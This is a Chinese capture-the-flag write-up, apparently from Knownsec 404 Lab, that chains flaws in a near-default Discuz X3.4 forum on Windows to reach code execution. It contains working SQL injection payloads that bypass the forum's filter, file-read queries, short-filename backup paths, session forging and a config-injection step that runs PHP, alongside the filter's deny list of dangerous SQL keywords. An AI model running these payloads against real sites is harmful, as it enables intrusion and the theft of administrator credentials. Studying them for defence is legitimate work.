作者:LoRexxar'@知道創宇404實驗室
時間:2020年5月11日

英文鏈接: http://www.jmbmsq.com/1205/

周末看了一下這次空指針的第三次Web公開賽,稍微研究了下發現這是一份最新版DZ3.4幾乎默認配置的環境,我們需要在這樣一份幾乎真實環境下的DZ中完成Get shell。這一下子提起了我的興趣,接下來我們就一起梳理下這個滲透過程。

與默認環境的區別是,我們這次擁有兩個額外的條件。

1、Web環境的后端為Windows
2、我們獲得了一份config文件,里面有最重要的authkey

得到這兩個條件之后,我們開始這次的滲透過程。

以下可能會多次提到的出題人寫的DZ漏洞整理

authkey有什么用?

/ -------------------------  CONFIG SECURITY  -------------------------- //
$_config['security']['authkey'] = '87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E';

authkey是DZ安全體系里最重要的主密鑰,在DZ本體中,涉及到密鑰相關的,基本都是用authkey和cookie中的saltkey加密構造的。

當我們擁有了這個authkey之后,我們可以計算DZ本體各類操作相關的formhash(DZ所有POST相關的操作都需要計算formhash)

配合authkey,我們可以配合source/include/misc/misc_emailcheck.php中的修改注冊郵箱項來修改任意用戶綁定的郵箱,但管理員不能使用修改找回密碼的api。

可以用下面的腳本計算formhash

$username = "ddog";
$uid = 51;
$saltkey = "SuPq5mmP";
$config_authkey = "87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E";
$authkey = md5($config_authkey.$saltkey);
$formhash = substr(md5(substr($t, 0, -7).$username.$uid.$authkey."".""), 8, 8);

當我們發現光靠authkey沒辦法進一步滲透的時候,我們把目標轉回到hint上。

1、Web環境的后端為Windows
2、dz有正常的備份數據,備份數據里有重要的key值

windows短文件名安全問題

在2019年8月,dz曾爆出過這樣一個問題。

在windows環境下,有許多特殊的有關通配符類型的文件名展示方法,其中不僅僅有 <>"這類可以做通配符的符號,還有類似于~的省略寫法。這個問題由于問題的根在服務端,所以cms無法修復,所以這也就成了一個長久的問題存在。

具體的細節可以參考下面這篇文章:

配合這兩篇文章,我們可以直接去讀數據庫的備份文件,這個備份文件存在

/data/backup_xxxxxx/200509_xxxxxx-1.sql

我們可以直接用

http://xxxxx/data/backup~1/200507~2.sql

拿到數據庫文件

從數據庫文件中,我們可以找到UC_KEY(dz)

pre_ucenter_applications的authkey字段找到UC_KEY(dz)

至此我們得到了兩個信息:

uckey

x9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5

authkey

87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E

當我們有了這兩個key之后,我們可以直接調用uc_client的uc.php任意api。,后面的進一步利用也是建立在這個基礎上。

uc.php api 利用

這里我們主要關注/api/uc.php

通過UC_KEY來計算code,然后通過authkey計算formhash,我們就可以調用當前api下的任意函數,而在這個api下有幾個比較重要的操作。

我們先把目光集中到updateapps上來,這個函數的特殊之處在于由于DZ直接使用preg_replace替換了UC_API,可以導致后臺的getshell。

具體詳細分析可以看,這個漏洞最初來自于@dawu,我在CSS上的演講中提到過這個后臺getshell:

根據這里的操作,我們可以構造$code = 'time='.time().'&action=updateapps';

來觸發updateapps,可以修改配置中的UC_API,但是在之前的某一個版本更新中,這里加入了條件限制。

if($post['UC_API']) {
    $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
    unset($post['UC_API']);
}

由于過濾了單引號,導致我們注入的uc api不能閉合引號,所以單靠這里的api我們沒辦法完成getshell。

換言之,我們必須登錄后臺使用后臺的修改功能,才能配合getshell。至此,我們的滲透目標改為如何進入后臺。

如何進入DZ后臺?

首先我們必須明白,DZ的前后臺賬戶體系是分離的,包括uc api在內的多處功能,login都只能登錄前臺賬戶,

也就是說,進入DZ的后臺的唯一辦法就是必須知道DZ的后臺密碼,而這個密碼是不能通過前臺的忘記密碼來修改的,所以我們需要尋找辦法來修改密碼。

這里主要有兩種辦法,也對應兩種攻擊思路:

1、配合報錯注入的攻擊鏈
2、使用數據庫備份還原修改密碼

1、配合報錯注入的攻擊鏈

繼續研究uc.php,我在renameuser中找到一個注入點。

function renameuser($get, $post) {
        global $_G;

        if(!API_RENAMEUSER) {
            return API_RETURN_FORBIDDEN;
        }



        $tables = array(
            'common_block' => array('id' => 'uid', 'name' => 'username'),
            'common_invite' => array('id' => 'fuid', 'name' => 'fusername'),
            'common_member_verify_info' => array('id' => 'uid', 'name' => 'username'),
            'common_mytask' => array('id' => 'uid', 'name' => 'username'),
            'common_report' => array('id' => 'uid', 'name' => 'username'),

            'forum_thread' => array('id' => 'authorid', 'name' => 'author'),
            'forum_activityapply' => array('id' => 'uid', 'name' => 'username'),
            'forum_groupuser' => array('id' => 'uid', 'name' => 'username'),
            'forum_pollvoter' => array('id' => 'uid', 'name' => 'username'),
            'forum_post' => array('id' => 'authorid', 'name' => 'author'),
            'forum_postcomment' => array('id' => 'authorid', 'name' => 'author'),
            'forum_ratelog' => array('id' => 'uid', 'name' => 'username'),

            'home_album' => array('id' => 'uid', 'name' => 'username'),
            'home_blog' => array('id' => 'uid', 'name' => 'username'),
            'home_clickuser' => array('id' => 'uid', 'name' => 'username'),
            'home_docomment' => array('id' => 'uid', 'name' => 'username'),
            'home_doing' => array('id' => 'uid', 'name' => 'username'),
            'home_feed' => array('id' => 'uid', 'name' => 'username'),
            'home_feed_app' => array('id' => 'uid', 'name' => 'username'),
            'home_friend' => array('id' => 'fuid', 'name' => 'fusername'),
            'home_friend_request' => array('id' => 'fuid', 'name' => 'fusername'),
            'home_notification' => array('id' => 'authorid', 'name' => 'author'),
            'home_pic' => array('id' => 'uid', 'name' => 'username'),
            'home_poke' => array('id' => 'fromuid', 'name' => 'fromusername'),
            'home_share' => array('id' => 'uid', 'name' => 'username'),
            'home_show' => array('id' => 'uid', 'name' => 'username'),
            'home_specialuser' => array('id' => 'uid', 'name' => 'username'),
            'home_visitor' => array('id' => 'vuid', 'name' => 'vusername'),

            'portal_article_title' => array('id' => 'uid', 'name' => 'username'),
            'portal_comment' => array('id' => 'uid', 'name' => 'username'),
            'portal_topic' => array('id' => 'uid', 'name' => 'username'),
            'portal_topic_pic' => array('id' => 'uid', 'name' => 'username'),
        );

        if(!C::t('common_member')->update($get['uid'], array('username' => $get[newusername])) && isset($_G['setting']['membersplit'])){
            C::t('common_member_archive')->update($get['uid'], array('username' => $get[newusername]));
        }

        loadcache("posttableids");
        if($_G['cache']['posttableids']) {
            foreach($_G['cache']['posttableids'] AS $tableid) {
                $tables[getposttable($tableid)] = array('id' => 'authorid', 'name' => 'author');
            }
        }

        foreach($tables as $table => $conf) {
            DB::query("UPDATE ".DB::table($table)." SET `$conf[name]`='$get[newusername]' WHERE `$conf[id]`='$get[uid]'");
        }
        return API_RETURN_SUCCEED;
    }

在函數的最下面,$get[newusername]被直接拼接進了update語句中。

但可惜的是,這里鏈接數據庫默認使用mysqli,并不支持堆疊注入,所以我們沒辦法直接在這里執行update語句來更新密碼,這里我們只能構造報錯注入來獲取數據。

$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ substr(password,0) from pre_ucenter_members where uid = 1 limit 1)),0)),title=\'a';

這里值得注意的是,DZ自帶的注入waf挺奇怪的,核心邏輯在

\source\class\discuz\discuz_database.php line 375

if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false && strpos($sql, '"') === false) {
            $clean = preg_replace("/'(.+?)'/s", '', $sql);
        } else {
            $len = strlen($sql);
            $mark = $clean = '';
            for ($i = 0; $i < $len; $i++) {
                $str = $sql[$i];
                switch ($str) {
                    case '`':
                        if(!$mark) {
                            $mark = '`';
                            $clean .= $str;
                        } elseif ($mark == '`') {
                            $mark = '';
                        }
                        break;
                    case '\'':
                        if (!$mark) {
                            $mark = '\'';
                            $clean .= $str;
                        } elseif ($mark == '\'') {
                            $mark = '';
                        }
                        break;
                    case '/':
                        if (empty($mark) && $sql[$i + 1] == '*') {
                            $mark = '/*';
                            $clean .= $mark;
                            $i++;
                        } elseif ($mark == '/*' && $sql[$i - 1] == '*') {
                            $mark = '';
                            $clean .= '*';
                        }
                        break;
                    case '#':
                        if (empty($mark)) {
                            $mark = $str;
                            $clean .= $str;
                        }
                        break;
                    case "\n":
                        if ($mark == '#' || $mark == '--') {
                            $mark = '';
                        }
                        break;
                    case '-':
                        if (empty($mark) && substr($sql, $i, 3) == '-- ') {
                            $mark = '-- ';
                            $clean .= $mark;
                        }
                        break;

                    default:

                        break;
                }
                $clean .= $mark ? '' : $str;
            }
        }

        if(strpos($clean, '@') !== false) {
            return '-3';
        }

        $clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));

        if (self::$config['afullnote']) {
            $clean = str_replace('/**/', '', $clean);
        }


        if (is_array(self::$config['dfunction'])) {
            foreach (self::$config['dfunction'] as $fun) {
                if (strpos($clean, $fun . '(') !== false)
                    return '-1';
            }
        }

        if (is_array(self::$config['daction'])) {
            foreach (self::$config['daction'] as $action) {
                if (strpos($clean, $action) !== false)
                    return '-3';
            }
        }       

        if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {
            return '-2';
        }

        if (is_array(self::$config['dnote'])) {
            foreach (self::$config['dnote'] as $note) {
                if (strpos($clean, $note) !== false)
                    return '-4';
            }
        }

然后config中相關的配置為

$_config['security']['querysafe']['dfunction']['0'] = 'load_file';
$_config['security']['querysafe']['dfunction']['1'] = 'hex';
$_config['security']['querysafe']['dfunction']['2'] = 'substring';
$_config['security']['querysafe']['dfunction']['3'] = 'if';
$_config['security']['querysafe']['dfunction']['4'] = 'ord';
$_config['security']['querysafe']['dfunction']['5'] = 'char';
$_config['security']['querysafe']['daction']['0'] = '@';
$_config['security']['querysafe']['daction']['1'] = 'intooutfile';
$_config['security']['querysafe']['daction']['2'] = 'intodumpfile';
$_config['security']['querysafe']['daction']['3'] = 'unionselect';
$_config['security']['querysafe']['daction']['4'] = '(select';
$_config['security']['querysafe']['daction']['5'] = 'unionall';
$_config['security']['querysafe']['daction']['6'] = 'uniondistinct';
$_config['security']['querysafe']['dnote']['0'] = '/*';
$_config['security']['querysafe']['dnote']['1'] = '*/';
$_config['security']['querysafe']['dnote']['2'] = '#';
$_config['security']['querysafe']['dnote']['3'] = '--';
$_config['security']['querysafe']['dnote']['4'] = '"';

這道題目特殊的地方在于,他開啟了afullnote

    if (self::$config['afullnote']) {
        $clean = str_replace('/**/', '', $clean);
    }

由于/**/被替換為空,所以我們可以直接用前面的邏輯把select加入到這中間,之后被替換為空,就可以繞過這里的判斷。

當我們得到一個報錯注入之后,我們嘗試讀取文件內容,發現由于mysql是5.5.29,所以我們可以直接讀取服務器上的任意文件。

$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ /*!00000load_file*/(\'c:/windows/win.ini\') limit 1)),0)),title=\'a';

思路走到這里出現了斷層,因為我們沒辦法知道web路徑在哪里,所以我們沒辦法直接讀到web文件,這里我僵持了很久,最后還是因為第一個人做出題目后密碼是弱密碼,我直接查出來進了后臺。

在事后回溯的過程中,發現還是有辦法的,雖然說對于windows來說,web的路徑很靈活,但是實際上對于集成環境來說,一般都安裝在c盤下,而且一般人也不會去動服務端的路徑。常見的windows集成環境主要有phpstudy和wamp,這兩個路徑分別為

- /wamp64/www/
- /phpstudy_pro/WWW/

找到相應的路徑之后,我們可以讀取\uc_server\data\config.inc.php得到uc server的UC_KEY.

之后我們可以直接調用/uc_server/api/dpbak.php中定義的

    function sid_encode($username) {
        $ip = $this->onlineip;
        $agent = $_SERVER['HTTP_USER_AGENT'];
        $authkey = md5($ip.$agent.UC_KEY);
        $check = substr(md5($ip.$agent), 0, 8);
        return rawurlencode($this->authcode("$username\t$check", 'ENCODE', $authkey, 1800));
    }

    function sid_decode($sid) {
        $ip = $this->onlineip;
        $agent = $_SERVER['HTTP_USER_AGENT'];
        $authkey = md5($ip.$agent.UC_KEY);
        $s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800);
        if(empty($s)) {
            return FALSE;
        }
        @list($username, $check) = explode("\t", $s);
        if($check == substr(md5($ip.$agent), 0, 8)) {
            return $username;
        } else {
            return FALSE;
        }
    }

構造管理員的sid來繞過權限驗證,通過這種方式我們可以修改密碼并登錄后臺。

2、使用數據庫備份還原修改密碼

事實上,當上一種攻擊方式跟到uc server的UC_KEY時,就不難發現,在/uc_server/api/dbbak.php中有許多關于數據庫備份與恢復的操作,這也是我之前沒發現的點。

事實上,在/api/dbbak.php就有一模一樣的代碼和功能,而那個api只需要DZ的UC_KEY就可以操作,我們可以在前臺找一個地方上傳,然后調用備份恢復覆蓋數據庫文件,這樣就可以修改管理員的密碼。

后臺getshell

登錄了之后就比較簡單了,首先

修改uc api 為

http://127.0.0.1/uc_server');phpinfo();//

然后使用預先準備poc更新uc api

這里返回11就可以了

寫在最后

整道題目主要圍繞的DZ的核心密鑰安全體系,實際上除了在windows環境下,幾乎沒有其他的特異條件,再加上短文件名問題原因主要在服務端,我們很容易找到備份文件,在找到備份文件之后,我們可以直接從數據庫獲得最重要的authkey和uc key,接下來的滲透過程就順理成章了。

從這篇文章中,你也可以窺得在不同情況下利用方式得拓展,配合原文閱讀可以獲得更多的思路。

REF


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/1197/